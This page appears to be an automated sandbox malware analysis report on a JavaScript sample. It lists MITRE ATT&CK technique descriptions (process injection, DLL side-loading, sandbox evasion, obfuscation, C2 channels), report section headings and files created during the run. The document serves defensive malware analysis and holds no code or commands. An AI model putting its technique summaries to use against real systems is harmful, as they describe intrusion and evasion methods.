Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1194187433219817322.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd45df33-2535-4623-bc1e-cfc7fe89b39d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1194187433219817322.js